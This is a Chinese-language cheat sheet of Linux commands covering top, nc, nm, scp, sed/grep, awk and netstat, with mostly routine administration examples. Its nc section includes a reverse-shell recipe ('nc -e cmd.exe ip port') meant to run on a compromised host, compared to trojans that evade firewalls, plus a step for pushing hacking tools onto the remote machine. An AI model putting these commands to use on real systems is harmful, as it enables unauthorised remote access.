Linux命令总结

Linux命令使用介绍：

目录

Linux命令使用介绍：

1、top命令

2、nc命令

3、nm命令

4、scp命令

5、tail,sed及grep命令

6、AWK命令

7、netstat命令

8、常用命令

---

参考网上各种命令使用文章总结出来以便后续使用。

1、top命令

1、选项

top

q --退出

O（大写o） --排序

z --高亮显示正在跑的进程

c --显示命令的绝对路径

d --设置刷新的间隔时间，默认是3s

k --删除正在running的进程

Shift+P --安装cpu使用率进行排序

hift+W --保存结果到 /root/.toprc.

h --获取帮助信息

2、

top -u 用户名 -- 显示指定用户的进程

3、

top -n 10 -- 刷新10次后自动退出

查看多核CPU命令

mpstat -P ALL  和  sar -P ALL 

top视图 

上面是刚进入top的基本视图，我们来结合这个视图讲解各个数据的含义。

第一行：

10:01:23 — 当前系统时间

126 days, 14:29 — 系统已经运行了126天14小时29分钟（在这期间没有重启过）

2 users — 当前有2个用户登录系统

load average: 1.15, 1.42, 1.44 — load average后面的三个数分别是1分钟、5分钟、15分钟的负载情况。

load average数据是每隔5秒钟检查一次活跃的进程数，然后按特定算法计算出的数值。如果这个数除以逻辑CPU的数量，结果高于5的时候就表明系统在超负荷运转了。

第二行：

Tasks — 任务（进程），系统现在共有346个进程，其中处于运行中的有1个，277个在休眠（sleep），stoped状态的有0个，zombie状态（僵尸）的有0个。

第三行：cpu状态

6.7% us — 用户空间占用CPU的百分比。

0.4% sy — 内核空间占用CPU的百分比。

0.0% ni — 改变过优先级的进程占用CPU的百分比

92.9% id — 空闲CPU百分比

0.0% wa — IO等待占用CPU的百分比

0.0% hi — 硬中断（Hardware IRQ）占用CPU的百分比

0.0% si — 软中断（Software Interrupts）占用CPU的百分比

在这里CPU的使用比率和windows概念不同，如果你不理解用户空间和内核空间，需要充充电了。

第四行：内存状态

total — 物理内存总量
 used — 使用中的内存总量
free — 空闲内存总量
buffers — 缓存的内存量 

第五行：swap交换分区

total — 交换区总量（k）

used — 使用的交换区总量（k）

free — 空闲交换区总量（k）

cached — 缓冲的交换区总量（k）

这里要说明的是不能用windows的内存概念理解这些数据，如果按windows的方式此台服务器“危矣”：8G的内存总量只剩下530M的可用内存。Linux的内存管理有其特殊性，复杂点需要一本书来说明，这里只是简单说点和我们传统概念（windows）的不同。
第四行中使用中的内存总量（used）

指的是现在系统内核控制的内存数，空闲内存总量（free）是内核还未纳入其管控范围的数量。纳入内核管理的内存不见得都在使用中，还包括过去使用过的现在可以被重复利用的内存，内核并不把这些可被重新使用的内存交还到free中去，因此在linux上free内存会越来越少，但不用为此担心。

如果出于习惯去计算可用内存数，这里有个近似的计算公式：第四行的free + 第四行的buffers + 第五行的cached，按这个公式此台服务器的可用内存：530668+79236+4231276 = 4.7GB。

对于内存监控，在top里我们要时刻监控第五行swap交换分区的used，如果这个数值在不断的变化，说明内核在不断进行内存和swap的数据交换，这是真正的内存不够用了。

第六行是空行

第七行以下：各进程（任务）的状态监控

PID — 进程id

USER — 进程所有者

PR — 进程优先级

NI — nice值。负值表示高优先级，正值表示低优先级

VIRT — 进程使用的虚拟内存总量，单位kb。VIRT=SWAP+RES

RES — 进程使用的、未被换出的物理内存大小，单位kb。RES=CODE+DATA

SHR — 共享内存大小，单位kb

S — 进程状态。D=不可中断的睡眠状态 R=运行 S=睡眠 T=跟踪/停止 Z=僵尸进程

%CPU — 上次更新到现在的CPU时间占用百分比

%MEM — 进程使用的物理内存百分比

TIME+ — 进程使用的CPU时间总计，单位1/100秒

COMMAND — 进程名称（命令名/命令行）

多U多核CPU监控

在top基本视图中，按键盘数字“1”，可监控每个逻辑CPU的状况：

进程字段排序

1. 敲击键盘“b”（打开/关闭加亮效果）

2. 敲击键盘“x”（打开/关闭排序列的加亮效果）

3. 通过”shift + >”或”shift + <”可以向右或左改变排序列

改变进程显示字段

1. 敲击“f”键，top进入另一个视图

有”*”并且标注为大写字母的字段是可显示的，没有”*”并且是小写字母的字段是不显示的。如果要在基本视图中显示“CODE”和“DATA”两个字段，可以通过敲击“r”和“s”键：

2. “回车”返回基本视图，可以看到多了“CODE”和“DATA”两个字段

应用 举例：

监控Linux线程数：
ps -eLf | grep Linux | wc -l

监控网络客户连接数：
netstat -n | grep tcp | grep 侦听端口 | wc -l

根据应用名（如：Infoflow）查看进程号
ps -ef | grep Infoflow | grep -v grep | awk '{print $2}'

查看进程使用内存
# 用法
top -pid {pid} -l 1 | tail -n 1 | awk '{print $8}'
# 示例
top -pid 2211 -l 1 | tail -n 1 | awk '{print $8}'

查看服务占用的内存
top -o %MEM | grep 服务名

2、nc命令

1.nc.exe -h 即可看到各参数的使用方法。
基本格式：nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d          后台模式
-e          程序重定向，一旦连接，就执行 [危险!!]
-g gateway  source-routing hop point[s], up to 8    设置路由器跃程通信网关，最多可设置8个。
-G num      source-routing pointer: 4, 8, 12, ...   设置来源路由指向器，其数值为4的倍数。
-h          帮助信息
-i secs     延时的间隔
-l          监听模式，用于入站连接 (监听本地端口)
-L          连接关闭后,仍然继续监听
-n          指定数字的IP地址，不能用hostname。即直接使用IP地址，而不通过域名服务器。
-o file     指定文件名称，把往来传输的数据以16进制字码倾倒成该文件保存。
-p port     本地端口号 (指定本地端口 )
-r          随机本地及远程端口
-s addr     本地源地址
-t          使用TELNET交互方式(用telnet来回应 )
-u          UDP模式
-v          详细输出--用两个-v( -vv)可得到更详细的内容. 获得端口信息
-w secs     timeout的时间
-z          将输入输出关掉--只用于扫描. 端口的表示方法可写为M-N的范围格式。

命令1：监听命令
    nc -l -p port
    nc -l -p port > e:\log.dat
    nc -l -v -p port
    参数解释：
        -l：监听端口，监听入站信息
        -p：后跟本地端口号
        -v：显示端口的信息，如果使用-vv的话，则会显示端口更详细的信息
    提示：一般大家都爱用-vv

    nc -l -p 80    //这个很简单，监听80端口。如果机器上运行这个命令，端口80被认为是开放的，可以欺骗扫描器
    nc -l -p 80 > e:\log.dat    //将详细信息写入E盘log.dat的日志文件
    nc -l -v -p 80    //和上边命令相似，会直接显示信息在运行着NC的屏幕上。

    实践：
    例如：nc -l -v -p 80
    然后在浏览器中输入本机IP：127.0.0.1
 
命令2：程序定向（反弹shell的方法）
    nc -l -p port -t -e cmd.exe
    本地机： nc -l -p port 或 nc -l -v -p port
    目标机：nc -e cmd.exe ip port
    参数解释：
        -l、-p两个参数已经解释过了
        -e；作用就是程序定向
        -t：以telnet的形式来应答
    例子
    nc -l -p 5277 -t -e cmd.exe    //千万不要运行在自己的机器上，如果运行了，你机器就会变成一台TELNET的服务器了。
    命令解释：
	监听本地端口5277的入站信息，同时将CMD.exe这个程序，重定向到端口5277上，
        当有人连接的时候，就让程序CMD.exe以TELNET的形式来响应连接要求。
        说白了，其实就是让他成为一台TELNET的肉鸡，所以这个命令要运行在你的肉鸡上。
    例如用法：
        local machine：nc -l -p port ( or nc -l -v -p port )
        remote machine：nc -e cmd.exe ip port
    
    大家知道灰鸽子和神偷吧，这两款工具都是利用了反弹端口型的木马，
    什么叫反弹端口？
    就是说，当对方中马后，不用你主动和对方连接，也就是说不用从你的client端向对方主机上运行的server端发送请求连接，
	而是对方主动来连接你这样就可以使很多防火墙失效，因为很多防火墙都不检查出站请求的。
	这里这两个命令结合在一起后，于那两款木马可以说有异曲同工之效。

    本地运行：nc -l -p 5277 （监听本地5277端口）或者 nc -l -v -p 5277
    然后在远程机器上，想办法运行 nc -e cmd.exe ip 5277
    （你可别真的打“ip”在肉鸡上啊）要打，xxx.xxx.xxx.xxx这样！！
    这样就是反弹~~在本地机器上得到了一个SHELL

命令3：扫描端口
    nc -v ip port
    nc -v -z ip port-port
    nc -v -z -u ip port-port
    参数解释：
        -z：将输入输出关掉，在扫描时使用
    nc -v ip port    //这个命令是针对某一个端口进行扫描
    例如：
    nc -v ip 135    //扫描远程主机的135端口，这样获得了该端口的一些简单信息，但是针对某些端口，我们还可以获得更多的信息
    例如：80端口
    nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息
    nc -v -z ip port-port    //这个命令是用来扫描的一个命令，这个命令用于快速扫描TCP端口，而port-port则是指定了扫描的端口范围
    例如：
    nc -v -z ip 1-200    //可以看到我机器上的1-200的TCP端口的开放情况
    nc -v -z -u ip port-port    //这个命令比上个命令多了个-u，这个命令的作用仍然是扫描端口，只是多一个-u的参数，是用来扫UDP端口的
    例如：
    nc -v -z -u ip 1-200    //这个命令就会扫1-200的UDP端口

命令4：传送文件（HOHO，I LIKE）
    LOCAL MACHINE：nc -v -n ip port < x:\svr.exe
    REMOTE MACHINE：nc -v -l -p port > y:\svr.exe
    参数解释：
        -n：指定数字的IP地址
    这两个命令结合起来是用来传送文件的
    首先，在远程机上运行命令：
    nc -v -l -p 5277 > c:\pulist.exe
    这个命令还记的吗？呵呵，是不是和监听命令有点类似，对，没错，这个是监听5277端口
    并把接受到的信息数据写到c:\pulist.exe中
    这时候在本地机上运行
    nc -v -n ip 5277 < e:\hack\pulist.exe
    这个命令的意思就是，从本地E盘跟目录中读取pulist.exe文件的内容，并把这些数据发送到ip的5277端口上
    这样远程主机就会自动创建一个pulist.exe文件。

用例介绍

1）端口扫描

nc -v -z host.example.com 70-80            #扫描端口(70到80)，可指定范围。-v输出详细信息。
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24   # 也可以不带-z参数试下效果
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused


[email protected]:~# nc -v -z -w2 127.0.0.1 1-100
[email protected]:~# nc -v -w 10 10.1.1.180 80
[email protected]:~# nc -v -w 10 10.1.1.180 -z 80-30000


# 监听本地端口
[email protected]:~# nc -l -p 1234 
[email protected]:~# netstat -tunlp | grep 1234
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      15543/nc


# 测试UDP端口
[email protected]:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1111/sshd           
udp        0      0 0.0.0.0:68                  0.0.0.0:*                               887/dhclient 


[email protected]:~# nc -vuz  172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!


nc -p 1234 -w 5 host.example.com 80
建立从本地1234端口到host.example.com的80端口连接，5秒超时
nc -u host.example.com 53
u为UDP连接

2) 远程拷贝文件

从server1拷贝文件到server2上。
先在server2上，用nc激活监听，server2上运行：
[root@hatest2 tmp]# nc -lp 1234 > install.log

server1上运行：
[root@hatest1 ~]# ll install.log
-rw-r--r--   1 root root 39693 12月 20   2007 install.log 
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

目的主机监听 
nc -l 监听端口  > 要接收的文件名
nc -l 4444 > cache.tar.gz
源主机发起请求
nc  目的主机ip    目的端口 
nc  192.168.0.85  4444 
netstat  如下
[root@localhost jiangbao]# netstat -tpln
tcp        0      0 0.0.0.0:4444                0.0.0.0:*                   LISTEN      18166/nc  

目录传输
从server1拷贝nginx-0.6.34目录内容到server2上。
先在server2上，用nc激活监听，server2上运行：
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -

server1上运行：
[root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234


从192.168.2.33拷贝文件到192.168.2.34
在192.168.2.34上： nc -l 1234 > test.txt
在192.168.2.33上： nc 192.168.2.34 < test.txt


克隆硬盘或分区
操作与上面的拷贝是雷同的，只需要由dd获得硬盘或分区的数据，然后传输即可。
克隆硬盘或分区的操作，不应在已经mount的的系统上进行。
所以，需要使用安装光盘引导后，进入拯救模式（或使用Knoppix工具光盘）启动系统后，
在server2上进行类似的监听动作：
# nc -l -p 1234 | dd of=/dev/sda
server1上执行传输，即可完成从server1克隆sda硬盘到server2的任务：
# dd if=/dev/sda | nc 192.168.228.222 1234

3) 简单聊天工具

在192.168.2.34上： nc -l 1234
在192.168.2.33上： nc 192.168.2.34 1234
这样，双方就可以相互交流了。使用ctrl+C(或D）退出。


nc -l 1234
nc 127.0.0.1 1234
在端口1234建立连接，互相发送输入

3、nm命令

nm是names的缩写， nm命令主要是用来查看文件中的符号信息。可以查看的文件包括：库文件、目标文件（main.o）、可执行文件等。

nm [-option] file ## 如果未指定文件名，默认为a.out。

选项

[-a|--debug-syms]		##	这将会把调试符号也列出来。默认状态下调试
                                    符号不会被列出。
[-g|--extern-only] 		##	只显示外部符号
[-B] [-C|--demangle[=style]] 
[-D|--dynamic] 
[-S|--print-size] 
[-s|--print-armap] 
[-A|-o|--print-file-name] 	##	列出符号名的时候同时显示来自于哪个文件,
                            这在同时列出多个文件（比如一个链接库）的符号时比较有用
[-n|-v|--numeric-sort]		##	根据符号的地址来排序	
                            默认是按符号名称的字母顺序排序的
[-p|--no-sort] 
[-r|--reverse-sort] [--size-sort] 
[-u|--undefined-only] 		##	只显示未定义的符号
[-t radix|--radix=radix] 	      ##	符号值得进制。d 十进制, o 八进制,
                                     x 十六进制.
[-P|--portability] 
[--target=bfdname] 
[-fformat|--format=format] 	 ##	 输出的格式，有"bsd","sysv" 
                                    或"posix"可选。默认是“bsd”
[--defined-only] 			##	只显示已定义的符号.
[-l|--line-numbers] 		##	列出符号在源代码中对应的行号	指定这个参数后，nm将利用调试信息找出文件名以及符号的行号。对于一个已定义符号，将会找出这个符号定义的行号，对于未定义符号,显示为空
[--no-demangle] 			##	demangle 的中文含义是“解构，
                                还原函数”。符号解析（symbol demangling）
                            ##  mangle 的中文含义是“破坏，撕裂”。在编译过程中，
                            会破坏原来的格式，变为一种不利于人类阅读的格式。
                            该过程即为“mangle”。
[-V|--version] 
[-X 32_64] 
[--help]  
[objfile...]  

实例：

//1、查看动态库中是否包含 FuncA 函数 
nm lib_tst.so | grep -i "FuncA"

 nm命令的输出包含三个部分：

1、符号值。默认显示十六进制，也可以指定其它进制；

2、符号类型。小写表示是本地符号，大写表示全局符号(external);

3、符号名称。 

符号类型：

A:  符号值是绝对的。在进一步的连接中，不会被改变。
B:  符号位于未初始化数据段(known as BSS).
C:  共用(common)符号. 共用符号是未初始化的数据。在连接时，多个共用符号可能采用一个同样的名字，如果这个符号在某个地方被定义，共用符号被认为是未定义的引用.
D:  已初始化数据段的符号
G:  已初始化数据段中的小目标(small objective)符号. 一些目标文件格式允许更有效的访问小目标数据，比如一个全局的int变量相对于一个大的全局数组。
I:  其他符号的直接应用，这是GNU扩展的，很少用了.
N:  调试符号.
R:  只读数据段符号.
S:  未初始化数据段中的小目标(small object)符号.
T:  代码段的符号.
U:  未定义符号.
V:  弱对象(weak object)符号. 当一个已定义的弱符号被连接到一个普通定义符号，普通定义符号可以正常使用，当一个未定义的弱对象被连接到一个未定义的符号，弱符号的值为0.
W:  一个没有被指定一个弱对象符号的弱符号(weak symbol)。
-:  a.out目标文件中的刺符号(stabs symbol). 这种情况下，打印的下一个值是其他字段，描述字段，和类型。刺符号用于保留调试信息.
?:  未知符号类型，或者目标文件特有的符号类型.

4、scp命令

// linux的scp命令 把当前一个文件复制到远程另一个主机上      
scp [参数] [原路径] [目标路径]

例子：在本机进入到需要复制的文件的目录下

1、
scp dmdbms.tar 目标机ip：目标机上目标位置
scp dmdbms.tar 10.10.10.10：/home/guo/dm
之后会提示输入虚拟机密码，输入就好
2、
scp -P port -r xxx a@ip地址:yyy
xxx是现有文件所在的服务器路径
a是想要将文件传过去的服务器用户名
yyy是想要将文件传过去的服务器路径
//注意输入虚拟机密码不是用户密码

1、功能说明
scp就是security copy，用于将文件或者目录从一个Linux系统拷贝到另一个Linux系统下。scp传输数据用的是SSH协议，保证了数据传输的安全，其格式如下：
scp 远程用户名@IP地址：文件的绝对路径 本地Linux系统路径 
scp 本地Linux系统文件路径 远程用户名@IP地址：远程系统文件绝对路径名
scp使用第一种格式是将远程Linux系统上的某个文件或者目录拷贝到本地Linux系统上来，使用第二种是将本地的某个文件或者目录拷贝到远程Linux系统的某个路径下。
2、举例
（1）目前我们处在IP为“192.168.60.133”的Linux系统下，计划将系统下的/home/ixdba/etc.tar.gz文件拷贝到IP为“192.168.60.168”的远程Linux系统中root用户下的/tmp目录下 (即拷贝当前主机文件到目标主机)：
scp /home/ixdba/etc.tar.gz [email protected]:/tmp
命令输入完毕，会要求输入“192.168.60.168”服务器root的密码，然后开始远程拷贝数据。
如果我们处在“192.168.60.168”服务器上 (即拷贝目标主机文件到当前主机)，也可以使用下面的命令传输数据：
scp [email protected]:/home/ixdba/etc.tar.gz /tmp
命令输入完毕，此时会要求输入“192.168.60.133”服务器root的密码，然后开始远程拷贝数据。
 
例如：scp ./id_rsa.pub  [email protected]:/home/jing.wei
进入一个服务器将当前目录下 id_rsa.pub拷贝到另一个服务器。

（2）将本地/etc目录中所有的文件和子目录拷贝到IP为“192.168.60.135”的远程Linux系统的root用户下的/opt目录中：
scp -r /etc [email protected]:/opt
这里的选项“r”与cp命令的“r”选项含义相同。

5、tail,sed及grep命令

tail：用于查看文件的内容

-f 循环读取
-q 不显示处理信息
-v 显示详细的处理信息
-c<数目> 显示的字节数
-n<行数> 显示文件的尾部 n 行内容
--pid=PID 与-f合用,表示在进程ID,PID死掉之后结束
-q, --quiet, --silent 从不输出给出文件名的首部
-s, --sleep-interval=S 与-f合用,表示在每次反复的间隔休眠S秒

sed命令：

sed 本身是一个管道命令，主要是以行为单位进行处理，可以将数据行进行替换、删除、新增、选取等特定工作

参数

-n∶使用安静(silent)模式。在一般 sed 的用法中，所有来自 STDIN的资料一般都会被列出到萤幕上。但如果加
  上 -n 参数后，则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。 
-p ∶列印，亦即将某个选择的资料印出。通常 p 会与参数 sed -n 一起运作～
-s ∶取代，可以直接进行取代的工作哩！通常这个 s 的动作可以搭配正规表示法！例如 1,20s/old/new/g

例
sed -n '5,10p' filename 只查看文件的第5行到第10行
sed -n '/2019-01-04 21:30:00/,/2019-01-04 22:30:30/p' filename 只查看文件包含时间段的区间内容

sed -n '/2019-11-12 14:20*/,/2019-11-12 14:30*/p' catalina.out > aaa.txt
sed -n '/起始时间/,/结束时间/p'  日志文件 > 输出文件
eg:sed -n '/20220222 16:40/,/20220222 16:45/p' nvrCtrl.20220222.0 | grep networkcfg

grep命令：

grep 同时满足多个关键字和满足任意关键字，是一种强大的文本搜索工具，它能使用正则表达式搜索文本，并把匹 
  配的行打印出来。grep全称是Global Regular Expression Print，表示全局正则表达式版本，显示完自动退
  出命令

grep [options]  
参数:  
[options]参数：  
-c：只输出匹配行的计数
-I：不区分大 小写(只适用于单字符)
-h：查询多文件时不显示文件名
-l：查询多文件时只输出包含匹配字符的文件名
-n：显示匹配行及 行号
-s：不显示不存在或无匹配文本的错误信息
-v：显示不包含匹配文本的所有行
-A: 显示匹配行及前面多少行, 如: -A3, 则表示显示匹配行及前3行
-B: 显示匹配行及后面多少行, 如: -B3, 则表示显示匹配行及后3行
-C: 显示匹配行前后多少行, 如: -C3, 则表示显示批量行前后3行

pattern正则表达式主要参数：  
： 忽略正则表达式中特殊字符的原有含义
^：匹配正则表达式的开始行
$: 匹配正则表达式的结束行
<：从匹配正则表达 式的行开始
>：到匹配正则表达式的行结束
[ ]：单个字符，如[A]即A符合要求 
[ - ]：范围，如[A-Z]，即A、B、C一直到Z都符合要求 
。：所有的单个字符
- ：有字符，长度可以为0

例
grep -n "word" filename 查看文件包含条件的日志，全部显示出来（单引号或者双引号都可以，不区分）
grep -E "word1|word2|word3" filename 满足任意条件（word1、word2和word3之一）将匹配的内容全部打
  印出来
grep word1 filename | grep word2 |grep word3 必须同时满足三个条件（word1、word2和word3）才匹配
  多管道，多次筛选

使用正则表达式 -E 选项
grep -E "[1-9]+" 或 egrep "[1-9]+"

grep -A100 'word' filename 显示匹配行往后100行
grep -B100 'word' filename 显示匹配行往前100行
grep -C100 'word' filename 显示匹配行往前往后100行

混合命令：

tail -n +92表示查询92行之后的日志
tail filename -n 300 -f 查看底部即最新300条日志记录，并实时刷新
tail -f filename | grep -E 'word1|word2|word3' 实时打印出匹配规则的文件内容（注意或符号前后最好
  不要有空格）

cat -n filename |grep “地形” | more 得到关键日志的行号
cat -n filename |tail -n +92|head -n 20

grep 'nick' | tail filename -C 10 查看字符‘nick’前后10条日志记录, 大写C

head -n 20 则表示在前面的查询结果里再查前20条记录

6、AWK命令

1、工作原理

逐行读取文本，默认以空格或tab键为分隔符进行分隔，将分隔所得的各个字段保存到内建变量中，并按模式或者条件执行编辑命令。

sed命令常用于一整行的处理，而awk比较倾向于将一行分成多个“字段”然后再进行处理。awk信息的读入也是逐行读取的，执行结果可以通过print的功能将字段数据打印显示。在使用awk命令的过程中,可以使用逻辑操作符“&&”表示“与”、“||”表示“或”、“！”表示“非”；还可以进行简单的数学运算，如+、-、*、/、%、^分别表示加、减、乘、除、取余和乘方。

2、命令格式

awk [选项参数] 'script' var=value file(s)
或
awk [选项参数] -f scriptfile var=value file(s)

选项参数的说明：

-F fs or –field-separator fs
指定输入文件折分隔符，fs是一个字符串或者是一个正则表达式，如-F:

-v var=value or –asign var=value
赋值一个用户定义变量。


-f scripfile or –file scriptfile
从脚本文件中读取awk命令。


-mf nnn and -mr nnn
对nnn值设置内在限制，-mf选项限制分配给nnn的最大块数目；-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能，在标准awk中不适用。


-W compact or –compat, -W traditional or –traditional
在兼容模式下运行awk。所以gawk的行为和标准的awk完全一样，所有的awk扩展都被忽略。


-W copyleft or –copyleft, -W copyright or –copyright
打印简短的版权信息。


-W help or –help, -W usage or –usage
打印全部awk选项和每个选项的简短说明。


-W lint or –lint
打印不能向传统unix平台移植的结构的警告。


-W lint-old or –lint-old
打印关于不能向传统unix平台移植的结构的警告。


-W posix
打开兼容模式。但有以下限制，不识别：/x、函数关键字、func、换码序列以及当fs是一个空格时，将新行作为一个域分隔符；操作符和=不能代替^和^=；fflush无效。

-W re-interval or –re-inerval
允许间隔正则表达式的使用，参考(grep中的Posix字符类)，如括号表达式[[:alpha:]]。


-W source program-text or –source program-text
使用program-text作为源代码，可与-f命令混用。


-W version or –version
打印bug报告信息的版本。

 awk常见的内建变量（可直接使用）

ARGC          命令行参数个数
FILENAME     当前输入文档的名称
FNR             当前输入文档的当前记录编号，尤其当有多个输入文档时有用
NR               输入流的当前记录编号
NF               当前记录的字段个数
FS （-F）     字段分隔符 　　　　　　　
            awk -F: '{print $1}' /etc/passwd
            awk 'BEGIN {FS = ":"} {print $1}' /etc/passwd
 
OFS         输出字段分隔符，默认为空格
            awk 'BEGIN {OFS="-"} {print $1,$2,$3}' test1.txt

ORS         输出记录分隔符，默认为换行符\n
RS          输入记录分隔符，默认为换行符\n
            awk 'BEGIN {FS="\n"; RS=""} {print $3}' test3.txt

 实例：

# log.txt的内容如下：
# 2,this,is,a,test
# 3 Are you like awk    
$  awk -F, '{print $1,$2}'   log.txt
---------------------------------------------
2 this
3 Are you like awk

# 使用多个分隔符.先使用空格分割，然后对分割结果再使用","分割
$ awk -F '[ ,]'  '{print $1,$2,$5}'   log.txt
---------------------------------------------
2 this
3 Are

7、netstat命令

netstat用于显示与IP、TCP、UDP和ICMP协议相关的统计数据，一般用于检验本机各端口的网络连接情况。

netstat是在内核中访问网络及相关信息的程序，它能提供TCP连接，TCP和UDP监听，进程内存管理的相关报告。

有时候接收到的数据报导致出错数据或故障，TCP/IP可以容许这些类型的错误，并能够自动重发数据报。但如果累计的出错情况数目占到所接收的IP数据报相当大的百分比，或者它的数目正迅速增加，那么就应该使用netstat查一查为什么会出现这些情况了。

命令参数：

-a或–all 显示所有连线中的Socket。
 
-A<网络类型>或–<网络类型> 列出该网络类型连线中的相关地址。
 
-c或–continuous 持续列出网络状态。
 
-C或–cache 显示路由器配置的快取信息。
 
-e或–extend 显示网络其他相关信息。
 
-F或–fib 显示FIB。
 
-g或–groups 显示多重广播功能群组组员名单。
 
-h或–help 在线帮助。
 
-i或–interfaces 显示网络界面信息表单。
 
-l或–listening 显示监控中的服务器的Socket。
 
-M或–masquerade 显示伪装的网络连线。
 
-n或–numeric 直接使用IP地址，而不通过域名服务器。
 
-N或–netlink或–symbolic 显示网络硬件外围设备的符号连接名称。
 
-o或–timers 显示计时器。
 
-p或–programs 显示正在使用Socket的程序识别码和程序名称。
 
-r或–route 显示Routing Table。
 
-s或–statistice 显示网络工作信息统计表。
 
-t或–tcp 显示TCP传输协议的连线状况。
 
-u或–udp 显示UDP传输协议的连线状况。
 
-v或–verbose 显示指令执行过程。
 
-V或–version 显示版本信息。
 
-w或–raw 显示RAW传输协议的连线状况。
 
-x或–unix 此参数的效果和指定”-A unix”参数相同。
 
–ip或–inet 此参数的效果和指定”-A inet”参数相同。

 命令解析：

$ netstat
 
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State      
tcp        0    268 192.168.120.204:ssh         10.2.0.68:62420             ESTABLISHED 
udp        0      0 192.168.120.204:4371        10.58.119.119:domain        ESTABLISHED 
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ]         DGRAM                    1491   @/org/kernel/udev/udevd
unix  4      [ ]         DGRAM                    7337   /dev/log
unix  2      [ ]         DGRAM                    708823 
unix  2      [ ]         DGRAM                    7539   
unix  3      [ ]         STREAM     CONNECTED     7287   
unix  3      [ ]         STREAM     CONNECTED     7286   

 从整体上看，netstat的输出结果可以分为两个部分：

一个是Active Internet connections，称为有源TCP连接，其中"Recv-Q"和"Send-Q"指的是接收队列和发送队列。这些数字一般都应该是0。如果不是则表示软件包正在队列中堆积。这种情况只能在非常少的情况见到。

另一个是Active UNIX domain sockets，称为有源Unix域套接口(和网络套接字一样，但是只能用于本机通信，性能可以提高一倍)。

Proto显示连接使用的协议,RefCnt表示连接到本套接口上的进程号,Types显示套接口的类型,State显示套接口当前的状态,Path表示连接到套接口的其它进程使用的路径名。

套接口类型：

-t ：TCP
-u ：UDP 
-raw ：RAW类型 
--unix ：UNIX域类型 
--ax25 ：AX25类型
--ipx ：ipx类型
--netrom ：netrom类型

 状态说明：

LISTEN：侦听来自远方的TCP端口的连接请求
 
SYN-SENT：再发送连接请求后等待匹配的连接请求（如果有大量这样的状态包，检查是否中招了）
 
SYN-RECEIVED：再收到和发送一个连接请求后等待对方对连接请求的确认（如有大量此状态，估计被flood攻击了）
 
ESTABLISHED：代表一个打开的连接
 
FIN-WAIT-1：等待远程TCP连接中断请求，或先前的连接中断请求的确认
 
FIN-WAIT-2：从远程TCP等待连接中断请求
 
CLOSE-WAIT：等待从本地用户发来的连接中断请求
 
CLOSING：等待远程TCP对连接中断的确认
 
LAST-ACK：等待原来的发向远程TCP的连接中断请求的确认（不是什么好东西，此项出现，检查是否被攻击）
 
TIME-WAIT：等待足够的时间以确保远程TCP接收到连接中断请求的确认
 
CLOSED：没有任何连接状态

使用举例：

列出所有端口
netstat -a

显示一个所有的有效连接信息列表，包括已建立的连接（ESTABLISHED），也包括监听连接中（LISTENING）的那些连接。
显示当前UDP连接状况
netstat -nu

显示UDP端口号的使用情况
netstat -apu

显示网卡列表
netstat -i

显示组播组的关系
netstat -g

显示网络统计信息
netstat -s

按照各个协议分别显示其统计数据。
如果自己的应用程序（如Web浏览器）运行速度比较慢，或者不能显示Web页之类的数据，那么可以用本选项来查看一下所显示的信息。
我们需要仔细查看统计数据的各行，找到出错的关键字，进而确定问题所在。
显示监听的套接口
netstat -l

显示所有已建立的有效连接
netstat -n

显示关于以太网的统计数据
netstat -e

用于显示关于以太网的统计数据。它列出的项目包括传送的数据报的总字节数、错误数、删除数、数据报的数量和广播的数量。这些统计数据既有发送的数据报数量，也有接收的数据报数量。
这个选项可以用来统计一些基本的网络流量.
显示关于路由表的信息
netstat -r

列出所有 tcp 端口
netstat -at

把状态全都取出来后使用uniq -c统计后再进行排序
netstat -nat |awk '{print $6}'|sort|uniq -c

查看连接某服务端口最多的的IP地址
netstat -nat | grep "192.168.120.20:16067" |awk '{print $5}'|awk -F: '{print $4}'|sort|uniq -c|sort -nr|head -20

找出程序运行的端口
netstat -ap | grep ssh

在 netstat 输出中显示 PID 和进程名称
netstat -pt
netstat -p 可以与其它开关一起使用，可以添加 “PID/进程名称” 到 netstat 输出中，这样 debugging 的时候可以很方便的发现特定端口运行的程序。

查看 TCP 连接处于各种状态的连接数量：
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

8、常用命令

1.系统信息

arch 显示机器的处理器架构
uname -m 显示机器的处理器架构
uname -r 显示正在使用的内核版本 
dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI) 
hdparm -i /dev/hda 罗列一个磁盘的架构特性 
hdparm -tT /dev/sda 在磁盘上执行测试性读取操作 
cat /proc/cpuinfo 显示CPU info的信息 
cat /proc/interrupts 显示中断 
cat /proc/meminfo 校验内存使用 
cat /proc/swaps 显示哪些swap被使用 
cat /proc/version 显示内核的版本 
cat /proc/net/dev 显示网络适配器及统计 
cat /proc/mounts 显示已加载的文件系统 
lspci -tv 罗列 PCI 设备 
lsusb -tv 显示 USB 设备 
date 显示系统日期 
cal 2007 显示2007年的日历表 
date 041217002007.00 设置日期和时间 - 月日时分年.秒 
clock -w 将时间修改保存到 BIOS 

2.关机 (系统的关机、重启以及登出 ) 

shutdown -h now 关闭系统
init 0 关闭系统
telinit 0 关闭系统
shutdown -h hours:minutes & 按预定时间关闭系统 
shutdown -c 取消按预定时间关闭系统 
